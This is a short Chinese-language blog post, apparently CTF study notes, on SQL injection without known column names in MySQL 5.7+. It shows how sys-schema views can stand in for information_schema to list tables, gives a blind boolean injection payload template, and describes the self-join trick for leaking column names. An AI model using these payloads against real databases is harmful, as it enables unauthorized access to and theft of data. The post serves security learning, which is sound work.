无列名注入

MYSQL 5.7以上

引入了新的sys(mysql自带的系统库),初始化时会自动创建sys库

包含1个表,100个视图,存储过程及函数共48个

sys里的视图主要分为两类,一类是正常以字母开头的,共52个,一类是以 x$ 开头的,共48个。字母开头的视图显示的是格式化数据,更易读,而 x$ 开头的视图适合工具采集数据,显示的是原始未处理过的数据。

 

sys.schema_auto_increment_columns   参考:https://www.docs4dev.com/docs/zh/mysql/5.7/reference/sys-schema-auto-increment-columns.html

该视图指示哪些 table 具有AUTO_INCREMENT列,并提供有关这些列的信息,例如当前和最大列值以及使用率(已用值与可能值的比率)。默认情况下,行按使用率和最大列值的降序排序。

select table_schema from sys.schema_auto_increment_columns;  //查数据库
select table_name from sys.schema_auto_increment_columns where table_schema = database();  //查表

 

对于x$schema_flattened_keys 参考:https://www.docs4dev.com/docs/zh/mysql/5.7/reference/sys-schema-redundant-indexes.html

(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(sys.x$schema_flattened_keys)where(TABLE_SCHEMA=database())),%d,1))>%d)

 

和information_schema一样的效果

参考:https://www.docs4dev.com/docs/zh/mysql/5.7/reference/sys-schema-table-statistics.html

 

schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer

 

select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database();

 

 

利用join获取列名(join在CTF中经常使用的思路)
select * from (select * from 表名 as a join 表名 as b)as c;

 

获取更多字段名和字段值  一列一列爆出来

 

select*from (select * from 表名 as a join 表名 b using(id,username,passwd,phone))c;

 

 

 

posted @ 2021-05-18 21:09  binbin_cloud  阅读(234)  评论(0编辑  收藏  举报